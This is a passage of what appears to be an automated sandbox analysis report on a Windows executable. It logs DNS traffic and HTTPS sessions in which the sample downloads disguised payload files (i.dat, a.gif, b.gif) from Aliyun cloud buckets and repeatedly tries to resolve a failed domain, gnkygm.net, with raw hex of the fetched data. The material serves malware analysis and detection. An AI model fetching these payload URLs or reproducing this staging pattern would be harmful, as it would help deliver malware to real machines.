Jan 16, 2025 03:57:02.602348089 CET	192.168.2.4	1.1.1.1	0x9f87	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:07.603775024 CET	192.168.2.4	1.1.1.1	0x34ee	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:12.603574991 CET	192.168.2.4	1.1.1.1	0xabb2	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:17.605192900 CET	192.168.2.4	1.1.1.1	0xe56e	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:22.601634979 CET	192.168.2.4	1.1.1.1	0x8df4	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:27.597793102 CET	192.168.2.4	1.1.1.1	0x7878	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:32.597096920 CET	192.168.2.4	1.1.1.1	0x471d	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:37.733587980 CET	192.168.2.4	1.1.1.1	0xc931	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:42.601037025 CET	192.168.2.4	1.1.1.1	0x8ed2	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:47.601336002 CET	192.168.2.4	1.1.1.1	0x6688	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:52.610835075 CET	192.168.2.4	1.1.1.1	0xb66b	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:57.596087933 CET	192.168.2.4	1.1.1.1	0x57d	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:58:02.599122047 CET	192.168.2.4	1.1.1.1	0x7153	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:58:07.597275972 CET	192.168.2.4	1.1.1.1	0x4eb4	Standard query (0)	gnkygm.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 16, 2025 03:54:16.236696959 CET	1.1.1.1	192.168.2.4	0x64a2	No error (0)	vien3h.oss-cn-beijing.aliyuncs.com	sc-20ih.cn-beijing.oss-adns.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 03:54:16.236696959 CET	1.1.1.1	192.168.2.4	0x64a2	No error (0)	sc-20ih.cn-beijing.oss-adns.aliyuncs.com	sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 03:54:16.236696959 CET	1.1.1.1	192.168.2.4	0x64a2	No error (0)	sc-20ih.cn-beijing.oss-adns.aliyuncs.com.gds.alibabadns.com		39.103.20.17	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:54:47.920114040 CET	1.1.1.1	192.168.2.4	0xe439	No error (0)	22mm.oss-cn-hangzhou.aliyuncs.com	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 03:54:47.920114040 CET	1.1.1.1	192.168.2.4	0xe439	No error (0)	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 16, 2025 03:54:47.920114040 CET	1.1.1.1	192.168.2.4	0xe439	No error (0)	sc-29j7.cn-hangzhou.oss-adns.aliyuncs.com.gds.alibabadns.com		118.178.60.9	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:21.790827036 CET	1.1.1.1	192.168.2.4	0x8838	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:27.846764088 CET	1.1.1.1	192.168.2.4	0x1e65	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:34.033087015 CET	1.1.1.1	192.168.2.4	0x4e2e	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:40.082011938 CET	1.1.1.1	192.168.2.4	0x7124	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:46.122900963 CET	1.1.1.1	192.168.2.4	0x81d	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:52.151873112 CET	1.1.1.1	192.168.2.4	0x5877	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:55:58.190150023 CET	1.1.1.1	192.168.2.4	0xade3	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:03.535660028 CET	1.1.1.1	192.168.2.4	0x18f5	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:07.748733997 CET	1.1.1.1	192.168.2.4	0x1ac7	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:12.606272936 CET	1.1.1.1	192.168.2.4	0x6d61	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:17.995929956 CET	1.1.1.1	192.168.2.4	0xde2c	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:22.760790110 CET	1.1.1.1	192.168.2.4	0xd4d8	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:27.604883909 CET	1.1.1.1	192.168.2.4	0x2f40	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:32.615827084 CET	1.1.1.1	192.168.2.4	0xf77a	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:37.608458996 CET	1.1.1.1	192.168.2.4	0xcf10	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:42.606735945 CET	1.1.1.1	192.168.2.4	0x4124	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:47.607325077 CET	1.1.1.1	192.168.2.4	0x321f	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:52.619241953 CET	1.1.1.1	192.168.2.4	0x281b	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:56:57.619714022 CET	1.1.1.1	192.168.2.4	0xbf58	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:02.611505985 CET	1.1.1.1	192.168.2.4	0x9f87	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:07.764215946 CET	1.1.1.1	192.168.2.4	0x34ee	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:12.613055944 CET	1.1.1.1	192.168.2.4	0xabb2	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:17.760951996 CET	1.1.1.1	192.168.2.4	0xe56e	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:22.611032009 CET	1.1.1.1	192.168.2.4	0x8df4	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:27.605098963 CET	1.1.1.1	192.168.2.4	0x7878	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:32.604872942 CET	1.1.1.1	192.168.2.4	0x471d	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:37.740884066 CET	1.1.1.1	192.168.2.4	0xc931	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:42.608556032 CET	1.1.1.1	192.168.2.4	0x8ed2	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:47.610985041 CET	1.1.1.1	192.168.2.4	0x6688	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:52.620613098 CET	1.1.1.1	192.168.2.4	0xb66b	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:57:57.603770018 CET	1.1.1.1	192.168.2.4	0x57d	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:58:02.609021902 CET	1.1.1.1	192.168.2.4	0x7153	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false
Jan 16, 2025 03:58:07.606662989 CET	1.1.1.1	192.168.2.4	0x4eb4	Name error (3)	gnkygm.net	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

vien3h.oss-cn-beijing.aliyuncs.com

22mm.oss-cn-hangzhou.aliyuncs.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	39.103.20.17	443	7320	C:\Users\user\Desktop\153776434-874356550.05.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:17 UTC	106	OUT	GET /i.dat HTTP/1.1 User-Agent: 3M Host: vien3h.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:17 UTC	558	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:17 GMT Content-Type: application/octet-stream Content-Length: 512 Connection: close x-oss-request-id: 678874D9998B3E333818161E Accept-Ranges: bytes ETag: "C92063FD4E148F2D2386C0DA8E46E701" Last-Modified: Mon, 13 Jan 2025 12:22:07 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8416026672269937305 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: ySBj/U4Ujy0jhsDajkbnAQ== x-oss-server-time: 12
2025-01-16 02:54:17 UTC	512	IN	Data Raw: 07 1b 1b 1f 6c 25 30 30 46 59 55 5e 6d 36 70 31 42 42 1c 52 3c 7f 30 37 5e 5d 5e 59 3e 77 38 35 5c 4c 40 5b 38 28 75 38 57 55 17 59 77 3e 30 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 3f 57 4b 4b 4f 3c 75 60 60 16 09 05 0e 3d 66 20 61 12 12 4c 02 6c 2f 60 67 0e 0d 0e 09 6e 27 68 65 0c 1c 10 0b 68 78 25 68 07 05 47 0a 24 6d 63 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 04 18 18 1c 6f 26 33 33 45 5a 56 5d 6e 35 73 32 41 41 1f 51 3f 7c 33 34 5d 5e 5d 5a 3d 74 3b 36 5f 4f 43 58 3b 2b 76 3b 54 56 14 58 76 3f 31 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 56 4a 4a 4e 3d 74 61 61 17 08 04 0f 3c 67 21 Data Ascii: l%00FYU^m6p1BBR<07^]^Y>w85\L@[8(u8WUYw>0?????????????????????????????????WKKO<u``=f aLl/`gn'hehx%hG$mclllllllllllllllllllllllllllllllllo&33EZV]n5s2AAQ?\|34]^]Z=t;6_OCX;+v;TVXv?1>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>VJJN=taa<g!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	39.103.20.17	443	7320	C:\Users\user\Desktop\153776434-874356550.05.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:19 UTC	106	OUT	GET /a.gif HTTP/1.1 User-Agent: 3M Host: vien3h.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:19 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:19 GMT Content-Type: image/gif Content-Length: 135589 Connection: close x-oss-request-id: 678874DB9DBA123531048546 Accept-Ranges: bytes ETag: "0DDD3F02B74B01D739C45956D8FD12B7" Last-Modified: Mon, 13 Jan 2025 12:21:20 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8642451798640735006 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Dd0/ArdLAdc5xFlW2P0Stw== x-oss-server-time: 28
2025-01-16 02:54:19 UTC	3550	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 00 00 00 02 00 08 03 00 00 00 c3 a6 24 c8 00 00 01 da 50 4c 54 45 00 00 00 f7 cd 48 f0 d2 4b f5 cd 46 0f a5 f0 f7 ce 47 f7 cd 48 f7 cc 47 f7 cd 48 f7 cd 48 f5 cd 44 f6 ce 49 f6 cd 47 f6 cd 47 66 c9 46 66 c9 48 66 c9 46 66 ca 45 f6 cd 48 f6 cc 48 f7 cc 48 f6 cc 48 f6 cd 48 0f a0 eb 12 a2 ea f8 cd 48 11 a2 e9 10 a1 e9 f7 cd 48 f6 cd 47 10 a2 ea 11 a1 ea f6 cd 47 11 a2 eb 10 a1 ea 12 a1 e8 0f a5 e8 10 a2 ea 11 a2 e9 f6 cc 47 ff da 48 11 a1 e9 11 a2 e9 00 99 ff 11 a1 e9 10 a2 ea 11 a1 e9 10 a3 ea 11 a1 e9 00 bf ff 00 aa ff 11 a2 e9 00 91 da 11 a0 e7 10 a2 ea 10 a1 e9 10 a2 eb 11 a1 e9 11 a2 ea 11 a1 e9 10 a2 e9 0f 9f ef 10 a2 e9 10 a2 ea 13 a6 eb 10 a1 ea 10 a1 e9 1f 9f df 11 a1 e9 11 a4 e8 10 a1 e9 10 Data Ascii: PNGIHDR$PLTEHKFGHGHHDIGGfFfHfFfEHHHHHHHGGGH
2025-01-16 02:54:19 UTC	4096	IN	Data Raw: 92 94 95 15 58 67 66 8f 0d ac 9c 9e d7 25 61 ea 28 7c d1 e2 ef 25 bc 8d ce ad ad e6 24 78 4e a7 6d 84 b4 b6 ff 3d 79 ce ae f0 30 fa 9b e0 89 4f 97 e0 f5 8e 4a c5 b1 9a ca cc 32 1e 44 28 99 59 18 2b c0 75 e7 d9 d9 59 24 df a8 d2 97 6d ad c6 d3 0c 89 da e7 e8 02 e8 d8 2c a5 6b 2f b8 7a 4e d7 b4 f7 f6 f7 b0 72 66 df ac ff fe ff 48 88 07 bd b1 04 06 08 8c db 0a 0b 0c 45 83 1a 91 41 13 13 5c 9e de e8 0d 61 2a 1a 1c 55 95 12 81 94 23 23 6c a8 33 5d 78 28 2a 63 a5 28 4d 9a 31 31 cd 26 69 05 37 37 70 b2 37 bd 89 3c 3e 77 cd 54 35 13 45 45 0e ce 4d 39 ff 4a 4c b2 5b 0d 60 50 52 1b df 58 3d e2 59 59 12 d6 49 39 0e 5e 60 29 eb 66 89 d1 67 67 97 7c 4d 5b 6d 6d 26 e4 7d 21 c7 72 74 3d fb 62 21 29 7b 7b 34 f4 7b 65 35 80 82 7c 91 89 b6 86 88 c1 01 86 b9 38 8f 8f d8 1c Data Ascii: Xgf%a(\|%$xNm=y0OJ2D(Y+uY$m,k/zNrfHEA\aU##l3]x(c(M11&i77p7<>wT5EEM9JL[`PRX=YYI9^`)fgg\|M[mm&}!rt=b!){{4{e5\|8
2025-01-16 02:54:19 UTC	4096	IN	Data Raw: 6c 81 49 b6 96 98 1c 6c ee db d5 13 d3 84 f1 5d b6 e1 84 a7 a7 2b 69 ab e7 cf 4d e3 ac 54 4e a7 ed 94 b4 b6 fa 33 7d f2 30 74 8e 6c 40 d5 d9 e2 c2 c4 8d 43 07 80 42 22 bf df 85 43 9b f4 81 9f 58 10 9d 5d 1f 30 41 ec db dc 91 55 32 ac 68 89 d3 6f e0 e9 41 e9 e9 a2 66 e1 81 4b ee f0 ca 0c 7a b7 c9 f9 b8 06 06 ef 75 dc fc fe b7 8b 0c 95 97 05 05 4a 8c a4 2d 7a 03 0c 0d 42 84 b4 35 6a 1b 14 15 5e 94 e1 e6 52 90 b0 39 86 17 20 21 57 69 6c ae 23 a5 8d 28 2a 67 a7 20 5d 8a 31 31 7e b8 31 61 93 36 38 b2 2f 4d 99 3c 3e 86 41 41 42 43 08 cc 32 63 60 01 c3 0f 68 6d b1 5a 51 f4 53 53 1c de 5b 15 cc 58 5a de 9c d6 ae 16 6f 29 ad e6 a4 2d ef 6a 59 fd 6b 6b 14 73 22 e2 3c 55 4e 36 47 b5 cc f9 6b 79 7a 33 bb 39 5a 5f 84 81 82 83 7b 90 cd 22 89 89 01 7b c4 00 83 45 34 90 Data Ascii: lIl]+iMTN3}0tl@CB"CX]0AU2hoAfKzuJ-zB5j^R9 !Wil#(*g ]11~1a68/M<>AABC2c`hmZQSS[XZo)-jYkks"<UN6Gkyz39Z_{"{E4
2025-01-16 02:54:19 UTC	4096	IN	Data Raw: 75 9b 94 96 df 13 d5 be cb 63 88 7d 90 a1 a1 ea 2e a9 c1 30 a6 a8 56 bf 6d bc ac ae 2a 4f c9 af 32 4f 3f a5 b7 b8 cd af 3a 47 36 ad bf c0 b5 cf 8b 4f 10 7f c7 cc c9 ca 23 79 3b 31 30 5b 16 9a 58 68 f1 76 d7 d8 d9 92 58 18 bd 9f 82 a1 bd bc be bf 26 2a 2b 24 25 26 27 20 21 22 23 3c 3d 3e 3f 38 bd 7f ab dc e9 b2 72 90 d9 e6 a8 48 82 ee 33 8f c4 4f 8c d0 41 81 f1 8f e5 0a 84 f9 1e 96 c1 14 15 16 94 e0 18 15 9f b1 1d 1e 1f 68 ac 2f 15 b1 24 26 6f a1 5d 0e 6b d3 38 75 3f 31 31 7a b8 39 51 b2 36 38 71 b9 c2 c3 48 6b 73 cb 4c 1d d6 45 45 0a cc 4d 09 df 4a 4c c6 5b 2d c5 50 52 1b d9 50 15 d3 59 59 e3 5a 5c 5d 5e 17 e9 25 46 4b 2c ee 63 25 fd 68 6a 23 e5 29 4a 4f 8f 64 ad e7 75 75 3e fc 75 59 fe 7a 7c f6 8e 37 03 49 7d 06 72 cd 89 cf 40 0c 7c c3 05 80 85 0b 91 91 Data Ascii: uc}.0VmO2O?:G6O#y;10[XhvX&+$%&' !"#<=>?8rH3OAh/$&o]k8u?11z9Q68qHksLEEMJL[-PRPYYZ\]^%FK,c%hj#)JOduu>uYz\|7I}r@\|
2025-01-16 02:54:19 UTC	4096	IN	Data Raw: b7 ac d4 2f 87 98 99 9a d3 17 d5 96 ac 72 e9 2b ff 80 8d ee 2e e4 8d 96 e3 27 e1 8a 9f 77 f5 96 8b b5 b5 b6 b7 7f fd 9e ff be bd be bf 88 48 9e e7 e4 3a d3 4d 37 c9 ca 4e 0c b8 c8 30 c5 d1 d2 d2 d4 9d 5d 9b fc e9 25 ce c1 dd df df 27 e4 4d 65 e5 e5 e7 e7 e8 e9 d9 22 04 89 21 10 0f b9 7f fe 91 70 f7 f7 07 ec 75 fb fd fd b6 7c 3d 96 76 02 04 fa 4a 8a 05 31 fb f4 f3 41 87 02 81 94 13 13 d3 10 81 92 19 19 19 3b 1c 1d 56 96 3d 49 a7 22 24 6d af 3a a9 ac 2b 2b 59 16 6b 1c f0 79 bf 36 51 41 37 37 82 3a 1a 3b 3c 75 b7 7b 64 69 03 ce 0c 44 0e ce 14 6d 6a b4 59 49 cb 4e 50 19 d9 46 11 21 57 57 11 da 92 a4 d9 9d 17 50 28 b1 2a ea 71 51 12 66 68 21 e7 66 81 e9 6f 6f 8f 64 8d 8c 74 75 9e bd 90 86 85 33 f1 31 5a 2f b3 53 c3 3b 98 84 86 87 60 a1 ee 8b 8c c5 03 c3 b4 c1 Data Ascii: /r+.'wH:M7N0]%'Me"!pu\|=vJ1A;V=I"$m:++Yky6QA77:;<u{diDmjYINPF!WWP(*qQfh!foodtu31Z/S;`
2025-01-16 02:54:19 UTC	4096	IN	Data Raw: b7 d4 16 36 5f 98 99 9a 66 24 62 61 60 df e9 29 d7 80 cd ee 24 6c f9 f5 68 e4 28 58 db 05 f9 39 f7 90 85 fe 3e e4 9d da 38 c4 a9 be ca 84 a7 a4 a5 54 ca 71 d8 ae 4a 31 8a be c7 a8 4c 2b 8b a5 d7 b2 56 15 f7 d7 6e dc bd e1 9c de ad ea 87 df b9 e4 92 e2 81 ed c9 ea a3 6f 2a ec a7 73 37 f0 95 71 2e 82 b6 9e c2 22 8f 34 16 c4 99 66 91 64 65 94 0a b1 08 40 84 5e 2f 3c e5 dd 26 10 11 1d a4 1a 5d 9b 43 3c 29 7c 90 c4 55 9d d8 22 c9 9d 0a 24 25 6e a4 ee 2b 4c ae f7 59 2b 49 0b e9 46 e2 78 be 6a 13 78 36 8d f3 33 8a fd 77 cb 1d 66 23 6f 84 c6 3b 6c 01 4a 3f 44 0c cd ec 98 51 52 53 a9 1d dd 23 7c 31 12 d8 98 0d 01 9c ac ad ae af a8 2d e5 8b 50 ea 57 ae 06 6c 6e 6f 3c fa bb 7c f1 f7 76 77 78 31 ff b2 09 50 96 5d ad 81 82 c6 b7 4c c3 b4 48 ba 58 b8 45 c5 49 cb b4 b1 Data Ascii: 6_f$ba`)$lh(X9>8TqJ1L+Vno*s7q."4fde@^/<&]C<)\|U"$%n+LY+IFxjx63wf#o;lJ?DQRS#\|1-PWlno<\|vwx1P]LHXEI
2025-01-16 02:54:19 UTC	4096	IN	Data Raw: ce d5 c9 c9 c9 c5 5a 56 57 50 51 52 53 6c 6d 6e 6f 68 e5 f5 ef 2b 45 9a e3 29 64 e6 24 69 be 36 d4 b5 b5 b6 ff 3d 6b b5 3f e2 bc be bf 85 f2 10 8e 41 05 8a 4c 11 bd e2 8a c3 7a ce a9 55 11 a6 cc 95 6f d4 d7 d8 d9 93 e0 0e d2 58 25 e0 e1 e2 af 69 bc e4 81 61 e8 8c aa 2b ee d4 ef bd f2 28 be 71 3c 82 ad 9e b8 79 c2 fc 89 ad 99 66 91 64 65 94 4c 85 c5 09 45 31 d9 03 8e c5 0f 10 11 53 1c a3 14 5f 94 d9 1b 53 98 df 1f 78 5e a9 62 dc 45 65 a6 1f 27 5d f2 6b 24 9b 6c d0 49 0d 1e 32 47 29 53 0b 6b 38 4d 2d 72 bf ff 3f 73 7b 93 4d c0 d1 45 46 47 2e 08 8d 48 10 4d 07 cc 93 53 1a d8 18 71 36 1f dd 90 2e 73 3a de 67 5f 14 43 04 05 f4 2c e5 a5 69 25 51 b9 1f 02 61 d8 71 39 f1 b2 76 3c f5 b4 7a 1f 3b f2 3f 83 18 fc b9 81 f7 62 cc 0e ca a3 e0 c1 0f 42 f8 cb 81 38 91 f7 Data Ascii: ZVWPQRSlmnoh+E)d$i6=k?ALzUoX%ia+(q<yfdeLE1S_Sx^bEe']k$lI2G)Sk8M-r?s{MEFG.HMSq6.s:g_C,i%Qaq9v<z;?bB8
2025-01-16 02:54:19 UTC	4096	IN	Data Raw: db 17 55 b6 de 1b 71 9b ee 4c d5 15 1d f8 a0 a2 a3 54 26 26 c7 a9 a9 aa aa 6f 61 62 63 7c 7d 7e 7f 78 fd 33 7e b7 3d 2c bb bc bd 4e 3c c1 3e 8a 48 45 d5 c7 c7 c8 81 4f 0b b8 c9 3e 4c d0 2e 9a 58 55 f5 d7 d7 d8 91 5f 1b a8 d9 2e 5c e0 1e aa 68 65 fd e7 e7 e8 a1 6f 2b 98 e9 1e 6c f0 0e ba 78 75 c5 f7 f7 f8 b1 7f 3b 88 f9 0e 7c 00 fe 4a 8e 45 5d 47 bf 0e 09 0a 0b 40 80 03 fd 24 10 12 75 84 59 2f 5f e8 6d 16 53 97 0d 56 9a f2 55 26 d3 a7 27 d9 6f ab 51 d2 2b 58 20 66 a4 60 39 7a b6 e6 41 32 c7 bb 3b c5 73 bf fd 1e 76 c3 a9 43 36 94 0d cd c6 10 48 4a 4b bc ce ce 2f 51 51 52 ac 1c de 97 94 94 95 96 97 90 91 92 93 ac ad ae af a8 25 35 2f eb 85 4a 23 e9 bf 26 e4 aa 05 37 3b f1 bc 02 37 34 f2 6b 37 47 af 0a 50 c8 08 93 cb 0f 4f 6e 0d 76 76 75 c6 09 5f fa 90 d9 1a Data Ascii: UqLT&&oabc\|}~x3~=,N<>HEO>L.XU_.\heo+lxu;\|JE]G@$uY/_mSVU&'oQ+X f`9zA2;svC6HJK/QQR%5/J#&7;74k7GPOnvvu_
2025-01-16 02:54:19 UTC	4096	IN	Data Raw: 56 1f 5a 7e 3d d3 99 9a d3 17 d6 8e 14 50 ae 14 e7 80 95 2e a6 41 2a aa ab ac e5 25 db 94 f1 31 7a 94 36 7e 48 31 f2 a2 f3 37 e1 9a f7 88 42 06 e3 9b 06 45 38 37 bd e9 48 33 33 ba d1 98 5a 15 9b 5f 1a 9e 5a cd d1 82 da dc 5e 3e c0 a8 20 1b e6 ac 8e 26 bf a0 ea ee 21 07 ea a6 62 f5 71 d8 f2 f4 03 b6 ff d8 8d e9 c8 2e 76 31 bb 8d 43 00 eb d9 44 06 07 40 8a f2 f4 78 2b 46 84 5b 01 98 57 30 25 9e 16 f3 0f a7 1a 1c 1d 1e 57 ad 75 06 13 af ea 62 ac ed c1 3d 60 2c 2d a5 df 0b c4 46 3a b7 7e 2e 17 bb f1 c5 d0 39 32 88 7b 64 71 0a c8 28 61 7e 0f c3 3d 6e 0b 04 c6 12 6b 18 19 d1 97 74 0a 95 9b 94 95 96 97 90 91 92 93 ac ad ae af a8 2d ef 3b 4c 79 3c 23 ef 81 0e 22 f5 b8 3f f8 a5 3c fd 87 30 f2 a0 37 f7 a4 0b 50 68 a1 7f 7c 7b c0 b5 4e cd ba 4a 4c 8c 9b 8e 8f 90 a2 Data Ascii: VZ~=P.A*%1z6~H17BE87H33Z_Z^> &!bq.v1CD@x+F[W0%Wub=`,-F:~.92{dq(a~=nkt-;Ly<#"?<07Ph\|{NJL
2025-01-16 02:54:19 UTC	4096	IN	Data Raw: 65 57 94 e2 9f d0 12 55 73 09 58 61 60 e8 2a 65 eb 2f f9 82 97 e0 2a 6e 8b f3 6e 62 63 7c 7d 7e 7f 78 f9 3b f6 a9 f1 39 79 ad f1 95 7d a6 51 a4 a5 54 ca 70 cd 8a c6 7c cf ce e6 06 ba d8 99 51 11 d5 50 16 a2 34 5c 13 d4 48 1d 1d 13 2c 2d 2e 2f 28 ad 6f ea 01 c2 eb eb 2f 21 22 23 3c 3d 3e 3f 38 b5 a5 bf 7b 15 da b3 77 24 b6 74 0d d1 29 02 04 ed 1d e4 f7 f6 42 8e cc 79 1a 47 9b da ed c3 91 d5 62 1c a0 18 1a 1b 1c 55 9d db 00 7a e1 10 e4 6d a5 e3 08 72 e9 e7 e0 e1 e2 e3 fc fd fe ff f8 75 65 7f bb d5 1a 73 bf c4 de 77 cb 98 4d c4 df 45 46 47 00 c0 3e 6f 7c 05 cb 86 ee 50 52 53 54 1d 59 12 a9 11 d3 27 78 65 38 39 f0 07 04 05 f4 2d ed 6a d9 59 6b 6b 24 e8 a7 1a 50 99 7d 77 74 75 cf 69 78 79 7a 93 b9 7c 7e 7f 39 7e 82 83 84 6d 4d 74 77 76 c2 00 81 01 be 8e 90 dd Data Ascii: eWUsXa`e/nnbc\|}~x;9y}QTp\|QP4\H,-./(o/!"#<=>?8{w$t)ByGbUzmrueswMEFG>o\|PRSTY'xe89-jYkk$P}wtuixyz\|~9~mMtwv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	39.103.20.17	443	7320	C:\Users\user\Desktop\153776434-874356550.05.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 02:54:21 UTC	106	OUT	GET /b.gif HTTP/1.1 User-Agent: 3M Host: vien3h.oss-cn-beijing.aliyuncs.com Cache-Control: no-cache
2025-01-16 02:54:21 UTC	547	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 16 Jan 2025 02:54:21 GMT Content-Type: image/gif Content-Length: 125333 Connection: close x-oss-request-id: 678874DD0AD071353089237D Accept-Ranges: bytes ETag: "2CA9F4AB0970AA58989D66D9458F8701" Last-Modified: Mon, 13 Jan 2025 12:21:19 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10333201072197591521 x-oss-storage-class: Standard x-oss-ec: 0048-00000104 Content-Disposition: attachment x-oss-force-download: true Content-MD5: LKn0qwlwqliYnWbZRY+HAQ== x-oss-server-time: 20
